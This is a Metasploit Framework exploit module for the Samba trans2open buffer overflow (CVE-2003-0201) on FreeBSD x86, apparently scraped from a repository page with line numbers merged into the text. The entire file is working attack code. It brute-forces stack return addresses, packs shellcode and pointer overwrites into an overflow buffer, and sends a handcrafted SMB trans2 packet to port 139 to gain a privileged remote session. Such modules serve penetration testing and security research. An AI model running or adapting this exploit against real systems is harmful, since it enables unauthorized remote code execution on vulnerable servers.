Path: blob/master/modules/exploits/freebsd/samba/trans2open.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Samba trans2open Overflow (*BSD x86)',16'Description' => %q{17This exploits the buffer overflow found in Samba versions182.2.0 to 2.2.8. This particular module is capable of19exploiting the flaw on x86 Linux systems that do not20have the noexec stack option set.21},22'Author' => [ 'hdm', 'jduck' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2003-0201' ],26[ 'OSVDB', '4469' ],27[ 'BID', '7294' ],28[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]29],30'Privileged' => true,31'Payload' => {32'Space' => 1024,33'BadChars' => "\x00",34'MinNops' => 512,35'StackAdjustment' => -350036},37'Platform' => 'bsd',38'Arch' => [ ARCH_X86 ],39'Targets' => [40# tested OK - jjd:41# FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f842[43'Samba 2.2.x - Bruteforce',44{45'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack46'Offset' => 1055,47'Bruteforce' =>48{49'Start' => { 'Ret' => 0xbfbffdfc },50'Stop' => { 'Ret' => 0xbfa00000 },51'Step' => 25652}53}54],55],56'DefaultTarget' => 0,57'DisclosureDate' => '2003-04-07',58'Notes' => {59'AKA' => ['ECHOWRECKER'],60'Stability' => [ CRASH_SERVICE_RESTARTS, ],61'Reliability' => [ REPEATABLE_SESSION, ],62'SideEffects' => [ IOC_IN_LOGS, ]63}64)65)6667register_options(68[69Opt::RPORT(139)70]71)7273deregister_options('SMB::ProtocolVersion')74end7576def brute_exploit(addrs)77curr_ret = addrs['Ret']78begin79print_status('Trying return address 0x%.8x...' % curr_ret)8081connect(versions: [1])82smb_login8384# This value *must* be 1988 to allow findrecv shellcode to work85# XXX: I'm not sure the above comment is true...86pattern = rand_text_english(1988)8788# See the OSX and Solaris versions of this module for additional89# information.9091# eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O292# (rpmbuild -bp ; edited/reran config.status ; make)93eip_off = target['Offset']94ptr_to_non_zero = target['PtrToNonZero']9596# Stuff the shellcode into the request97pattern[0, payload.encoded.length] = payload.encoded9899# We want test true here, so we overwrite conn with a pointer100# to something non-zero.101#102# 222 if (IS_IPC(conn)) {103# 223 return(ERROR(ERRSRV,ERRaccess));104# 224 }105pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')106107# We want to avoid crashing on the following two derefences.108#109# 116 int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)110# 117 {111# 118 int outsize = set_message(outbuf,0,0,True);112# 119 int cmd = CVAL(inbuf,smb_com);113pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')114pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')115116# This stream covers the framepointer and the return address117# pattern[1199, 400] = [curr_ret].pack('N') * 100118pattern[eip_off, 4] = [curr_ret].pack('V')119120trans = "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"121trans << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"122trans << "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"123trans << "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"124trans << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"125trans << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"126trans << pattern127128# puts "press any key"; $stdin.gets129130sock.put(trans)131handler132disconnect133rescue EOFError => e134print_error(e.to_s)135rescue StandardError => e136print_error(e.to_s)137end138end139end140141142